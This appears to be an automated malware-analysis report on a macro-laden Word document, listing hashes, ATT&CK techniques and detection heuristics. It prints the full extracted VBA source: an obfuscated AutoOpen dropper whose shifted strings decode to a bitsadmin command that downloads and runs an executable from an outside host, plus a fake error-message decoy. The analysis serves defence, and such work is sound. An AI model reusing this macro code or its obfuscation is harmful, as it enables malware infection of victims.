Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b1ddd16085bd1c72…

MALICIOUS

Office (OLE)

111.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-06-14
MD5: 0612792fafc533ef1f07e892ce2b9540 SHA-1: c7087a64cced0579a782797a3656891000c7100a SHA-256: b1ddd16085bd1c72646a329002af7c8bab428bbbcf21bb75bbce274813df28f5
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. The AutoOpen macro is triggered upon opening, and it uses a Shell() call to execute a command. The document body contains a lure instructing the user to enable content, which is a common tactic for macro-based malware. The obfuscated string concatenation within the VBA script likely constructs a command to download and execute a second-stage payload.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6477692-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6477692-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3374 bytes
SHA-256: f86b8600f6d2cbe4b875ce5cc880f92389b3fce9eaf985ca78c6af45f48a566c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
If 169 * 9 = 18149 - 1664 Then
vwoxu = "jdlnbzaz"
End If
Zmzgoho = Zmzgoho & Vtvuvmbhasdpphafhpfhhlkk("fpg1h{h 2f %zdlwiru 2w 8 \NHU") & Vtvuvmbhasdpphafhpfhhlkk("T ) elwvdgplq 2wu") & Vtvuvmbhasdpphafhpfhhlkk("dqvihu XNHI 2grzqordg 2sulrulw") & Vtvuvmbhasdpphafhpfhhlkk("| qrupdo kwwsv=") & Vtvuvmbhasdpphafhpfhhlkk("22zzz1zwuom") & Vtvuvmbhasdpphafhpfhhlkk("psj6j}oj1elg2") & Vtvuvmbhasdpphafhpfhhlkk("Ordghu1h{h (dssgdwd(_nfinps1h")
Zmzgoho = Zmzgoho & Vtvuvmbhasdpphafhpfhhlkk("{h )vw") & Vtvuvmbhasdpphafhpfhhlkk("duw (dssgdwd(_nfinps1h{h%")
Exskfrm = Exskfrm & Vtvuvmbhasdpphafhpfhhlkk("Huuru 4<;:7= \rx pxvw k") & Vtvuvmbhasdpphafhpfhhlkk("dyh Riilfh S") & Vtvuvmbhasdpphafhpfhhlkk("urihvvlrqdo Hglwlrq wr uhdg") & Vtvuvmbhasdpphafhpfhhlkk(" w") & Vtvuvmbhasdpphafhpfhhlkk("klv frqwhqw/ sohdvh xsjud")
Exskfrm = Exskfrm & Vtvuvmbhasdpphafhpfhhlkk("gh |rxu olfhqfh1 Ylvlw zzz1pl") & Vtvuvmbhasdpphafhpfhhlkk("furvriw1fr") & Vtvuvmbhasdpphafhpfhhlkk("p iru khos")
    
If Len("avmejoai") <> 382 Then
' yhxzonu
Else
' tsdveta
MsgBox "bnymcci", 236, "zkakc"
End If
Shell Zmzgoho, vbHide
MsgBox Exskfrm
End Sub
Private Function Rpypignmpbyvwblmdwtux(ByVal Jwwtxyogglg As String, ByVal Rhjyuetduuodphzbbsnrplh As Long) As String
If 708 * 6 = 19235 - 1647 Then
oxoop = "oaghmapg"
End If
Dim Apbkbedibncftv, Txtgvlbamkrnplfkljuzziyw, Vthkvwbaujik As Long
If Len("nfodf") <> 270 Then
' keife
Else
' ukjzk
MsgBox "kklwffo", 697, "majrun"
End If
Apbkbedibncftv = Len(Jwwtxyogglg)
Dim Ihahlkkflxor As String
Dim Wwdzkvarpzleomgnxc() As Long
If Len("gpsomu") <> 544 Then
' stjxjpdj
Else
' xprnua
MsgBox "kwdsrdc", 474, "itrnk"
End If
ReDim Wwdzkvarpzleomgnxc(1 To Apbkbedibncftv)
For Vthkvwbaujik = 1 To Apbkbedibncftv
If 266 * 8 = 23306 - 4522 Then
zfwusa = "finyystu"
End If
Txtgvlbamkrnplfkljuzziyw = Asc(Mid(Jwwtxyogglg, Vthkvwbaujik, 1))
If Txtgvlbamkrnplfkljuzziyw = 32 Then
If 380 * 8 = 25327 - 3139 Then
hbljetd = "ecdenaj"
End If
Wwdzkvarpzleomgnxc(Vthkvwbaujik) = Txtgvlbamkrnplfkljuzziyw
Else:
Txtgvlbamkrnplfkljuzziyw = Txtgvlbamkrnplfkljuzziyw - Rhjyuetduuodphzbbsnrplh
If 143 * 9 = 27765 - 3657 Then
oznkrbu = "dvfwmj"
End If
Wwdzkvarpzleomgnxc(Vthkvwbaujik) = Txtgvlbamkrnplfkljuzziyw
End If
If Len("skfga") <> 466 Then
' jsypj
Else
' kdcdk
MsgBox "yjkmstb", 125, "razwebk"
End If
Ihahlkkflxor = Ihahlkkflxor & Chr(Wwdzkvarpzleomgnxc(Vthkvwbaujik))
If 445 * 4 = 16377 - 4525 Then
oakgnxjg = "cdvvg"
End If
Next
If 437 * 4 = 15869 - 1454 Then
zccek = "bxcym"
End If
Rpypignmpbyvwblmdwtux = Ihahlkkflxor
If Len("kdjpwf") <> 115 Then
' azuax
Else
' ubkjbze
MsgBox "wdbzf", 711, "gixfmh"
End If
End Function
Private Function Vtvuvmbhasdpphafhpfhhlkk(Ftksspphojn As String)
If Len("dblmoon") <> 235 Then
' kbfzf
Else
' aexkxto
MsgBox "oxrvgo", 185, "rbrkagdb"
End If
Vtvuvmbhasdpphafhpfhhlkk = Rpypignmpbyvwblmdwtux(Ftksspphojn, 3)
If Len("lejjyzuk") <> 147 Then
' gunikbjn
Else
' vpookn
MsgBox "gtjyjkwk", 421, "lvsrwlw"
End If
End Function